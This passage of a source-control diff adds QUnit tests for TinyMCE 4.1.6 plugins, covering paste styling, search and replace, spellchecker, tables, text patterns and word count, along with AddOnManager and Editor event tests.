+			)
+		});
+
+		equal(editor.getContent(), '<p style="color: #ff0000;">abc</p>');
+	});
+
+	test('paste webkit remove runtime styles (color) in the same (color) (rgb)', function() {
+		editor.setContent('<p style="color:rgb(255, 0, 0)">Test</span>');
+		Utils.setSelection('p', 0, 'p', 4);
+
+		editor.execCommand('mceInsertClipboardContent', false, {
+			content: (
+				'<span style="color:red; text-indent: 10px">a</span>' +
+				'<span style="color:#ff0000; text-indent: 10px">b</span>' +
+				'<span style="color:rgb(255, 0, 0); text-indent: 10px">c</span>'
+			)
+		});
+
+		equal(editor.getContent(), '<p style="color: #ff0000;">abc</p>');
+	});
+}
Index: /tags/4.1.6/tests/qunit/editor/plugins/searchreplace.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/searchreplace.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/searchreplace.js	(revision 33402)
@@ -0,0 +1,107 @@
+module("tinymce.plugins.SearchReplace", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: "searchreplace",
+			elements: "elm1",
+			add_unload_trigger: false,
+			skin: false,
+			indent: false,
+			disable_nodechange: true,
+			init_instance_callback : function(ed) {
+				window.editor = ed;
+				window.setTimeout(function() {
+					QUnit.start();
+				}, 0);
+			}
+		});
+	}
+});
+
+test('Find no match', function() {
+	editor.getBody().innerHTML = 'a';
+	equal(0, editor.plugins.searchreplace.find('x'));
+});
+
+test('Find single match', function() {
+	editor.getBody().innerHTML = 'a';
+	equal(1, editor.plugins.searchreplace.find('a'));
+});
+
+test('Find single match in multiple elements', function() {
+	editor.getBody().innerHTML = 't<b>e</b><em>xt</em>';
+	equal(1, editor.plugins.searchreplace.find('text'));
+});
+
+test('Find single match, match case: true', function() {
+	editor.getBody().innerHTML = 'a A';
+	equal(1, editor.plugins.searchreplace.find('A', true));
+});
+
+test('Find single match, whole words: true', function() {
+	editor.getBody().innerHTML = 'a Ax';
+	equal(1, editor.plugins.searchreplace.find('a', false, true));
+});
+
+test('Find multiple matches', function() {
+	editor.getBody().innerHTML = 'a b A';
+	equal(2, editor.plugins.searchreplace.find('a'));
+});
+
+test('Find and replace single match', function() {
+	editor.getBody().innerHTML = 'a';
+	editor.plugins.searchreplace.find('a');
+	ok(!editor.plugins.searchreplace.replace('x'));
+	equal("<p>x</p>", editor.getContent());
+});
+
+test('Find and replace first in multiple matches', function() {
+	editor.getBody().innerHTML = 'a b a';
+	editor.plugins.searchreplace.find('a');
+	ok(editor.plugins.searchreplace.replace('x'));
+	equal("<p>x b a</p>", editor.getContent());
+});
+
+test('Find and replace all in multiple matches', function() {
+	editor.getBody().innerHTML = 'a b a';
+	editor.plugins.searchreplace.find('a');
+	ok(!editor.plugins.searchreplace.replace('x', true, true));
+	equal("<p>x b x</p>", editor.getContent());
+});
+
+test('Find multiple matches, move to next and replace', function() {
+	editor.getBody().innerHTML = 'a a';
+	equal(2, editor.plugins.searchreplace.find('a'));
+	editor.plugins.searchreplace.next();
+	ok(!editor.plugins.searchreplace.replace('x'));
+	equal("<p>a x</p>", editor.getContent());
+});
+
+test('Find multiple matches, move to next and replace backwards', function() {
+	editor.getBody().innerHTML = 'a a';
+	equal(2, editor.plugins.searchreplace.find('a'));
+	editor.plugins.searchreplace.next();
+	ok(editor.plugins.searchreplace.replace('x', false));
+	ok(!editor.plugins.searchreplace.replace('y', false));
+	equal("<p>y x</p>", editor.getContent());
+});
+
+test('Find multiple matches and unmark them', function() {
+	editor.getBody().innerHTML = 'a b a';
+	equal(2, editor.plugins.searchreplace.find('a'));
+	editor.plugins.searchreplace.done();
+	equal('a', editor.selection.getContent());
+	equal(0, editor.getBody().getElementsByTagName('span').length);
+});
+
+test('Find multiple matches with pre blocks', function() {
+	editor.getBody().innerHTML = 'abc<pre>  abc  </pre>abc';
+	equal(3, editor.plugins.searchreplace.find('b'));
+	equal(Utils.normalizeHtml(editor.getBody().innerHTML), (
+		'a<span class="mce-match-marker mce-match-marker-selected" data-mce-bogus="1" data-mce-index="0">b</span>c' +
+		'<pre>  a<span class="mce-match-marker" data-mce-bogus="1" data-mce-index="1">b</span>c  </pre>' +
+		'a<span class="mce-match-marker" data-mce-bogus="1" data-mce-index="2">b</span>c'
+	));
+});
Index: /tags/4.1.6/tests/qunit/editor/plugins/spellchecker.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/spellchecker.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/spellchecker.js	(revision 33402)
@@ -0,0 +1,95 @@
+(function() {
+	var count = 0;
+
+	module("tinymce.plugins.Spellchecker", {
+		setupModule: function() {
+			document.getElementById('view').innerHTML = (
+				'<textarea id="no_lang"></textarea>' +
+				'<textarea id="one_lang"></textarea>' +
+				'<textarea id="many_lang"></textarea>'
+			);
+
+			QUnit.stop();
+
+			function wait() {
+				if (++count == 3) {
+					QUnit.start();
+				}
+			}
+
+			tinymce.init({
+				selector: '#no_lang',
+				plugins: "spellchecker",
+				add_unload_trigger: false,
+				skin: false,
+				disable_nodechange: true,
+				toolbar: 'spellchecker',
+				init_instance_callback: function(ed) {
+					window.editor = ed;
+					wait();
+				}
+			});
+
+			tinymce.init({
+				selector: '#one_lang',
+				plugins: "spellchecker",
+				add_unload_trigger: false,
+				skin: false,
+				spellchecker_languages: 'English=en',
+				disable_nodechange: true,
+				toolbar: 'spellchecker',
+				init_instance_callback: function(ed) {
+					window.editor = ed;
+					wait();
+				}
+			});
+
+			tinymce.init({
+				selector: '#many_lang',
+				plugins: "spellchecker",
+				add_unload_trigger: false,
+				skin: false,
+				spellchecker_languages: 'English=en,French=fr,German=de',
+				disable_nodechange: true,
+				toolbar: 'spellchecker',
+				init_instance_callback: function(ed) {
+					window.editor = ed;
+					wait();
+				}
+			});
+		},
+
+		teardown: function() {
+			editor.settings.forced_root_block = 'p';
+		}
+	});
+
+	// Default spellchecker language should match editor language
+	test('Check default language', function() {
+		var mainLanguage = tinymce.get('no_lang').settings.language || 'en';
+		equal(tinymce.get('no_lang').settings.spellchecker_language, mainLanguage);
+	});
+
+	// Spellchecker button may include a language menu
+
+	// When no languages are specified, the default list of languages should be
+	// used, matching the list in the old TinyMCE 3 spellchecker plugin.
+	test('Check spellcheck button is a splitbutton (no languages)', function() {
+		var spellcheckButton = tinymce.get('no_lang').buttons.spellchecker;
+		equal(spellcheckButton.type, 'splitbutton');
+	});
+
+	// When exactly one spellchecker language is specified, there's no need to
+	// display a selection menu.
+	test('Check spellcheck button is a normal button (one language)', function() {
+		var spellcheckButton = tinymce.get('one_lang').buttons.spellchecker;
+		equal(spellcheckButton.type, 'button');
+	});
+
+	// When more than one spellchecker language is specified, a selection menu
+	// should be provided to choose between them.
+	test('Check spellcheck button is a splitbutton (many languages)', function() {
+		var spellcheckButton = tinymce.get('many_lang').buttons.spellchecker;
+		equal(spellcheckButton.type, 'splitbutton');
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/plugins/table.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/table.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/table.js	(revision 33402)
@@ -0,0 +1,449 @@
+(function() {
+	module("tinymce.plugins.Table", {
+		setupModule: function() {
+			QUnit.stop();
+
+			tinymce.init({
+				selector: "textarea",
+				add_unload_trigger: false,
+				skin: false,
+				indent: false,
+				plugins: 'table',
+				valid_styles: {
+					'*' : 'width,height,vertical-align,text-align,float,border-color,background-color'
+				},
+				init_instance_callback: function(ed) {
+					window.editor = ed;
+					QUnit.start();
+				}
+			});
+		},
+		teardown: function() {
+			var win = Utils.getFontmostWindow();
+
+			if (win) {
+				win.close();
+			}
+			
+			delete editor.settings.table_advtab;
+			delete editor.settings.table_cell_advtab;
+			delete editor.settings.table_class_list;
+			delete editor.settings.table_cell_class_list;
+			delete editor.settings.table_row_class_list;
+		}
+	});
+
+	function fillAndSubmitWindowForm(data) {
+		var win = Utils.getFontmostWindow();
+
+		win.fromJSON(data);
+		win.find('form')[0].submit();
+		win.close();
+	}
+
+	function cleanTableHtml(html) {
+		return Utils.cleanHtml(html).replace(/<p>(&nbsp;|<br[^>]+>)<\/p>$/, '');
+	}
+
+	test("Table properties dialog (get data from plain table)", function() {
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableProps');
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"align": "",
+			"border": "",
+			"caption": false,
+			"cellpadding": "",
+			"cellspacing": "",
+			"height": "",
+			"width": "",
+			"backgroundColor": "",
+			"borderColor": "",
+			"style": ""
+		});
+	});
+
+	test("Table properties dialog (get/set data from/to plain table, no adv tab)", function() {
+		editor.settings.table_advtab = false;
+
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableProps');
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"align": "",
+			"border": "",
+			"caption": false,
+			"cellpadding": "",
+			"cellspacing": "",
+			"height": "",
+			"width": ""
+		});
+
+		fillAndSubmitWindowForm({
+			width: "100",
+			height: "101"
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table style="width: 100px; height: 101px;"><tbody><tr><td>x</td></tr></tbody></table>'
+		);
+	});
+
+	test("Table properties dialog (get/set data from/to plain table, class list)", function() {
+		editor.settings.table_class_list = [{title: 'Class1', value: 'class1'}];
+
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableProps');
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"align": "",
+			"border": "",
+			"caption": false,
+			"cellpadding": "",
+			"cellspacing": "",
+			"height": "",
+			"width": "",
+			"backgroundColor": "",
+			"borderColor": "",
+			"style": "",
+			"class": ""
+		});
+
+		fillAndSubmitWindowForm({
+			width: "100",
+			height: "101"
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table style="width: 100px; height: 101px;"><tbody><tr><td>x</td></tr></tbody></table>'
+		);
+	});
+
+	test("Table properties dialog (get data from full table)", function() {
+		editor.setContent(
+			'<table style="width: 100px; height: 101px;" border="4" cellspacing="2" cellpadding="3">' +
+			'<caption>&nbsp;</caption>' +
+			'<tbody>' +
+			'<tr>' +
+			'<td>&nbsp;</td>' +
+			'</tr>' +
+			'</tbody>' +
+			'</table>'
+		);
+
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableProps');
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"align": "",
+			"border": "4",
+			"caption": true,
+			"cellpadding": "3",
+			"cellspacing": "2",
+			"height": "101",
+			"width": "100",
+			"backgroundColor": "",
+			"borderColor": "",
+			"style": "width: 100px; height: 101px;"
+		});
+	});
+
+	test("Table properties dialog (add caption)", function() {
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableProps');
+		fillAndSubmitWindowForm({
+			caption: true
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table><caption>&nbsp;</caption><tbody><tr><td>x</td></tr></tbody></table>'
+		);
+	});
+
+	test("Table properties dialog (remove caption)", function() {
+		editor.setContent('<table><caption>&nbsp;</caption><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableProps');
+		fillAndSubmitWindowForm({
+			caption: false
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table><tbody><tr><td>x</td></tr></tbody></table>'
+		);
+	});
+
+	test("Table properties dialog (change size in pixels)", function() {
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableProps');
+		fillAndSubmitWindowForm({
+			width: 100,
+			height: 101
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table style="width: 100px; height: 101px;"><tbody><tr><td>x</td></tr></tbody></table>'
+		);
+	});
+
+	test("Table properties dialog (change size in %)", function() {
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableProps');
+		fillAndSubmitWindowForm({
+			width: "100%",
+			height: "101%"
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table style="width: 100%; height: 101%;"><tbody><tr><td>x</td></tr></tbody></table>'
+		);
+	});
+
+	test("Table properties dialog (change: border,cellpadding,cellspacing,align,backgroundColor,borderColor)", function() {
+		editor.setContent('<table style="border-color: red; background-color: blue"><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableProps');
+		fillAndSubmitWindowForm({
+			border: "1",
+			cellpadding: "2",
+			cellspacing: "3",
+			align: "right"
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table style="float: right; border-color: red; background-color: blue;" border="1" cellspacing="3" cellpadding="2"><tbody><tr><td>x</td></tr></tbody></table>'
+		);
+	});
+
+	test("Table cell properties dialog (get data from plain cell)", function() {
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableCellProps');
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"align": "",
+			"valign": "",
+			"height": "",
+			"scope": "",
+			"type": "td",
+			"width": "",
+			"backgroundColor": "",
+			"borderColor": "",
+			"style": ""
+		});
+	});
+
+	test("Table cell properties dialog (get/set data from/to plain cell, no adv tab)", function() {
+		editor.settings.table_cell_advtab = false;
+
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableCellProps');
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"align": "",
+			"valign": "",
+			"height": "",
+			"scope": "",
+			"type": "td",
+			"width": ""
+		});
+
+		fillAndSubmitWindowForm({
+			width: 100,
+			height: 101
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table><tbody><tr><td style="width: 100px; height: 101px;">x</td></tr></tbody></table>'
+		);
+	});
+
+	test("Table cell properties dialog (get data from complex cell)", function() {
+		editor.setContent('<table><tr><th style="text-align: right; vertical-align: top; width: 10px; height: 11px; border-color: red; background-color: blue" scope="row">X</th></tr></table>');
+		Utils.setSelection('th', 0);
+		editor.execCommand('mceTableCellProps');
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"align": "right",
+			"valign": "top",
+			"height": "11",
+			"scope": "row",
+			"type": "th",
+			"width": "10",
+			"backgroundColor": "blue",
+			"borderColor": "red",
+			"style": "width: 10px; height: 11px; vertical-align: top; text-align: right; border-color: red; background-color: blue;"
+		});
+	});
+
+	test("Table cell properties dialog (update all)", function() {
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableCellProps');
+
+		fillAndSubmitWindowForm({
+			"align": "right",
+			"height": "11",
+			"scope": "row",
+			"type": "th",
+			"width": "10"
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table><tbody><tr><th style="width: 10px; height: 11px; text-align: right;" scope="row">x</th></tr></tbody></table>'
+		);
+	});
+
+	test("Table row properties dialog (get data from plain cell)", function() {
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableRowProps');
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"align": "",
+			"height": "",
+			"type": "tbody",
+			"backgroundColor": "",
+			"borderColor": "",
+			"style": ""
+		});
+	});
+
+	test("Table row properties dialog (get data from complex row)", function() {
+		editor.setContent('<table><thead><tr style="height: 10px; text-align: right; border-color: red; background-color: blue"><td>X</td></tr></thead></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableRowProps');
+
+		deepEqual(Utils.getFontmostWindow().toJSON(), {
+			"align": "right",
+			"height": "10",
+			"type": "thead",
+			"backgroundColor": "blue",
+			"borderColor": "red",
+			"style": "height: 10px; text-align: right; border-color: red; background-color: blue;"
+		});
+	});
+
+	test("Table row properties dialog (update all)", function() {
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableRowProps');
+
+		fillAndSubmitWindowForm({
+			"align": "right",
+			"height": "10",
+			"type": "thead"
+		});
+
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table><thead><tr style="height: 10px; text-align: right;"><td>x</td></tr></thead></table>'
+		);
+	});
+
+	test("mceTableDelete command", function() {
+		editor.setContent('<table><tr><td>X</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableDelete');
+		equal(cleanTableHtml(editor.getContent()), '');
+	});
+
+	test("mceTableDeleteCol command", function() {
+		editor.setContent('<table><tr><td>1</td><td>2</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableDeleteCol');
+		equal(cleanTableHtml(editor.getContent()), '<table><tbody><tr><td>2</td></tr></tbody></table>');
+	});
+
+	test("mceTableDeleteRow command", function() {
+		editor.setContent('<table><tr><td>1</td></tr><tr><td>2</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableDeleteRow');
+		equal(cleanTableHtml(editor.getContent()), '<table><tbody><tr><td>2</td></tr></tbody></table>');
+	});
+
+	test("mceTableInsertColAfter command", function() {
+		editor.setContent('<table><tr><td>1</td></tr><tr><td>2</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableInsertColAfter');
+		equal(cleanTableHtml(editor.getContent()), '<table><tbody><tr><td>1</td><td>&nbsp;</td></tr><tr><td>2</td><td>&nbsp;</td></tr></tbody></table>');
+	});
+
+	test("mceTableInsertColBefore command", function() {
+		editor.setContent('<table><tr><td>1</td></tr><tr><td>2</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableInsertColBefore');
+		equal(cleanTableHtml(editor.getContent()), '<table><tbody><tr><td>&nbsp;</td><td>1</td></tr><tr><td>&nbsp;</td><td>2</td></tr></tbody></table>');
+	});
+
+	test("mceTableInsertRowAfter command", function() {
+		editor.setContent('<table><tr><td>1</td><td>2</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableInsertRowAfter');
+		equal(cleanTableHtml(editor.getContent()), '<table><tbody><tr><td>1</td><td>2</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td></tr></tbody></table>');
+	});
+
+	test("mceTableInsertRowBefore command", function() {
+		editor.setContent('<table><tr><td>1</td><td>2</td></tr></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableInsertRowBefore');
+		equal(cleanTableHtml(editor.getContent()), '<table><tbody><tr><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>2</td></tr></tbody></table>');
+	});
+
+	test("mceTableMergeCells command with cell selection", function() {
+		editor.getBody().innerHTML = '<table><tr><td class="mce-item-selected">1</td><td class="mce-item-selected">2</td></tr></table>';
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableMergeCells');
+		equal(cleanTableHtml(editor.getContent()), '<table><tbody><tr><td colspan="2">12</td></tr></tbody></table>');
+	});
+
+	test("mceTableSplitCells command", function() {
+		editor.setContent('<table><tbody><tr><td colspan="2">12</td></tr></tbody></table>');
+		Utils.setSelection('td', 0);
+		editor.execCommand('mceTableSplitCells');
+		equal(
+			cleanTableHtml(editor.getContent()),
+			'<table><tbody><tr><td>12</td><td>&nbsp;</td></tr></tbody></table>'
+		);
+	});
+
+	test("Tab key navigation", function() {
+		editor.setContent('<table><tbody><tr><td>A1</td><td>A2</td></tr><tr><td>B1</td><td>B2</td></tr></tbody></table><p>x</p>');
+
+		Utils.setSelection('td', 0);
+		editor.fire('keydown', {keyCode: 9});
+		equal(editor.selection.getStart().innerHTML, 'A2');
+
+		Utils.setSelection('td', 0);
+		editor.fire('keydown', {keyCode: 9, shiftKey: true});
+		equal(editor.selection.getStart().innerHTML, 'A1');
+
+		Utils.setSelection('td:nth-child(2)', 0);
+		editor.fire('keydown', {keyCode: 9, shiftKey: true});
+		equal(editor.selection.getStart().innerHTML, 'A1');
+
+		Utils.setSelection('tr:nth-child(2) td:nth-child(2)', 0);
+		editor.fire('keydown', {keyCode: 9});
+		equal(editor.selection.getStart(true).nodeName, 'TD');
+		equal(
+			editor.getContent(),
+			'<table><tbody><tr><td>A1</td><td>A2</td></tr><tr><td>B1</td><td>B2</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td></tr></tbody></table><p>x</p>'
+		);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/plugins/textpattern.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/textpattern.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/textpattern.js	(revision 33402)
@@ -0,0 +1,126 @@
+(function() {
+	module("tinymce.plugins.TextPattern", {
+		setupModule: function() {
+			QUnit.stop();
+
+			tinymce.init({
+				selector: 'textarea',
+				add_unload_trigger: false,
+				skin: false,
+				indent: false,
+				plugins: "textpattern",
+				init_instance_callback: function(ed) {
+					window.editor = ed;
+					QUnit.start();
+				}
+			});
+		},
+
+		teardown: function() {
+			delete editor.settings.textpattern_patterns;
+		}
+	});
+
+	test('Italic format on single word using space', function() {
+		editor.setContent('<p>*abc*\u00a0</p>');
+		Utils.setSelection('p', 6);
+		editor.fire('keyup', {keyCode: 32});
+
+		equal(
+			editor.getContent(),
+			'<p><em>abc</em>&nbsp;</p>'
+		);
+	});
+
+	test('Bold format on single word using space', function() {
+		editor.setContent('<p>**abc**\u00a0</p>');
+		Utils.setSelection('p', 8);
+		editor.fire('keyup', {keyCode: 32});
+
+		equal(
+			editor.getContent(),
+			'<p><strong>abc</strong>&nbsp;</p>'
+		);
+	});
+
+	test('Bold format on multiple words using space', function() {
+		editor.setContent('<p>**abc 123**\u00a0</p>');
+		Utils.setSelection('p', 12);
+		editor.fire('keyup', {keyCode: 32});
+
+		equal(
+			editor.getContent(),
+			'<p><strong>abc 123</strong>&nbsp;</p>'
+		);
+	});
+
+	test('Bold format on single word using enter', function() {
+		editor.setContent('<p>**abc**</p>');
+		Utils.setSelection('p', 7);
+		editor.fire('keydown', {keyCode: 13});
+
+		equal(
+			editor.getContent(),
+			'<p><strong>abc</strong></p><p>&nbsp;</p>'
+		);
+	});
+
+	test('H1 format on single word node using enter', function() {
+		editor.setContent('<p>#abc</p>');
+		Utils.setSelection('p', 4);
+		editor.fire('keydown', {keyCode: 13});
+
+		equal(
+			editor.getContent(),
+			'<h1>abc</h1><p>&nbsp;</p>'
+		);
+	});
+
+	test('OL format on single word node using enter', function() {
+		editor.setContent('<p>1. abc</p>');
+		Utils.setSelection('p', 6);
+		editor.fire('keydown', {keyCode: 13});
+
+		equal(
+			editor.getContent(),
+			'<ol><li>abc</li><li></li></ol>'
+		);
+	});
+
+	test('UL format on single word node using enter', function() {
+		editor.setContent('<p>* abc</p>');
+		Utils.setSelection('p', 5);
+		editor.fire('keydown', {keyCode: 13});
+
+		equal(
+			editor.getContent(),
+			'<ul><li>abc</li><li></li></ul>'
+		);
+	});
+
+	test('getPatterns/setPatterns', function() {
+		editor.plugins.textpattern.setPatterns([
+			{start: '#', format: 'h1'},
+			{start: '##', format: 'h2'},
+			{start: '###', format: 'h3'}
+		]);
+
+		deepEqual(
+			editor.plugins.textpattern.getPatterns(),
+			[
+				{
+					"format": "h3",
+					"start": "###"
+				},
+				{
+					"format": "h2",
+					"start": "##"
+				},
+				{
+					"format": "h1",
+					"start": "#"
+				}
+			]
+		);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/plugins/wordcount.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/plugins/wordcount.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/plugins/wordcount.js	(revision 33402)
@@ -0,0 +1,81 @@
+module("tinymce.plugins.Wordcount", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			add_unload_trigger: false,
+			skin: false,
+			wordcount_target_id: 'current-count',
+			plugins: 'wordcount',
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+test("Blank document has 0 words", function() {
+	expect(1);
+
+	editor.setContent('');
+	var result = editor.plugins.wordcount.getCount();
+	equal(result, 0);
+});
+
+test("Simple word count", function() {
+	expect(1);
+
+	editor.setContent('<p>My sentence is this.</p>');
+	var result = editor.plugins.wordcount.getCount();
+	equal(result, 4);
+});
+
+test("Does not count dashes", function() {
+	expect(1);
+
+	editor.setContent('<p>Something -- ok</p>');
+	var result = editor.plugins.wordcount.getCount();
+	equal(result, 2);
+});
+
+test("Does not count asterisks, non-word characters", function() {
+	expect(1);
+
+	editor.setContent('<p>* something\n\u00b7 something else</p>');
+	var result = editor.plugins.wordcount.getCount();
+	equal(result, 3);
+});
+
+test("Does not count numbers", function() {
+	expect(1);
+
+	editor.setContent('<p>Something 123 ok</p>');
+	var result = editor.plugins.wordcount.getCount();
+	equal(result, 2);
+});
+
+test("Does not count htmlentities", function() {
+	expect(1);
+
+	editor.setContent('<p>It&rsquo;s my life &ndash; &#8211; &#x2013; don\'t you forget.</p>');
+	var result = editor.plugins.wordcount.getCount();
+	equal(result, 6);
+});
+
+test("Counts hyphenated words as one word", function() {
+	expect(1);
+
+	editor.setContent('<p>Hello some-word here.</p>');
+	var result = editor.plugins.wordcount.getCount();
+	equal(result, 3);
+});
+
+test("Counts words between blocks as two words", function() {
+	expect(1);
+
+	editor.setContent('<p>Hello</p><p>world</p>');
+	var result = editor.plugins.wordcount.getCount();
+	equal(result, 2);
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/AddOnManager.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/AddOnManager.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/AddOnManager.js	(revision 33402)
@@ -0,0 +1,39 @@
+module("tinymce.AddOnManager", {
+	teardown: function() {
+		Utils.unpatch(tinymce.dom.ScriptLoader.ScriptLoader);
+		tinymce.AddOnManager.languageLoad = true;
+		tinymce.AddOnManager.language = 'en';
+	}
+});
+
+test('requireLangPack', function() {
+	var languagePackUrl;
+
+	Utils.patch(tinymce.dom.ScriptLoader.ScriptLoader, 'add', function(origFunc, url) {
+		languagePackUrl = url;
+	});
+
+	function getLanguagePackUrl(language, languages) {
+		languagePackUrl = null;
+		tinymce.AddOnManager.language = language;
+		tinymce.AddOnManager.PluginManager.requireLangPack('plugin', languages);
+		return languagePackUrl;
+	}
+
+	tinymce.AddOnManager.PluginManager.urls.plugin = '/root';
+
+	equal(getLanguagePackUrl('sv_SE'), '/root/langs/sv_SE.js');
+	equal(getLanguagePackUrl('sv_SE', 'sv,en,us'), '/root/langs/sv.js');
+	equal(getLanguagePackUrl('sv_SE', 'sv_SE,en_US'), '/root/langs/sv_SE.js');
+	equal(getLanguagePackUrl('sv'), '/root/langs/sv.js');
+	equal(getLanguagePackUrl('sv', 'sv'), '/root/langs/sv.js');
+	equal(getLanguagePackUrl('sv', 'sv,en,us'), '/root/langs/sv.js');
+	equal(getLanguagePackUrl('sv', 'en,sv,us'), '/root/langs/sv.js');
+	equal(getLanguagePackUrl('sv', 'en,us,sv'), '/root/langs/sv.js');
+	strictEqual(getLanguagePackUrl('sv', 'en,us'), null);
+	strictEqual(getLanguagePackUrl(null, 'en,us'), null);
+	strictEqual(getLanguagePackUrl(null), null);
+
+	tinymce.AddOnManager.languageLoad = false;
+	strictEqual(getLanguagePackUrl('sv', 'sv'), null);
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/Editor.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/Editor.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/Editor.js	(revision 33402)
@@ -0,0 +1,362 @@
+module("tinymce.Editor", {
+	setupModule: function() {
+		document.getElementById('view').innerHTML = '<textarea id="elm1"></textarea><div id="elm2"></div>';
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "#elm1",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			disable_nodechange: true,
+			skin: false,
+			entities: 'raw',
+			indent: false,
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			custom_elements: 'custom1,~custom2',
+			extended_valid_elements: 'custom1,custom2',
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+
+				if (window.inlineEditor) {
+					QUnit.start();
+				}
+			}
+		});
+
+		tinymce.init({
+			selector: "#elm2",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			disable_nodechange: true,
+			skin: false,
+			entities: 'raw',
+			indent: false,
+			inline: true,
+			init_instance_callback: function(ed) {
+				window.inlineEditor = ed;
+
+				if (window.editor) {
+					QUnit.start();
+				}
+			}
+		});
+	},
+
+	teardown: function() {
+		Utils.unpatch(editor.getDoc());
+		inlineEditor.show();
+		editor.show();
+	}
+});
+
+test('Event: change', function() {
+	var level, lastLevel;
+
+	editor.on('change', function(e) {
+		level = e.level;
+		lastLevel = e.lastLevel;
+	});
+
+	editor.setContent('');
+	editor.insertContent('a');
+	equal(level.content.toLowerCase(), '<p>a</p>');
+	equal(lastLevel.content, editor.undoManager.data[0].content);
+
+	editor.off('change');
+});
+
+test('Event: beforeExecCommand', function() {
+	var cmd, ui, value;
+
+	editor.on('BeforeExecCommand', function(e) {
+		cmd = e.command;
+		ui = e.ui;
+		value = e.value;
+
+		e.preventDefault();
+	});
+
+	editor.setContent('');
+	editor.insertContent('a');
+	equal(editor.getContent(), '');
+	equal(cmd, 'mceInsertContent');
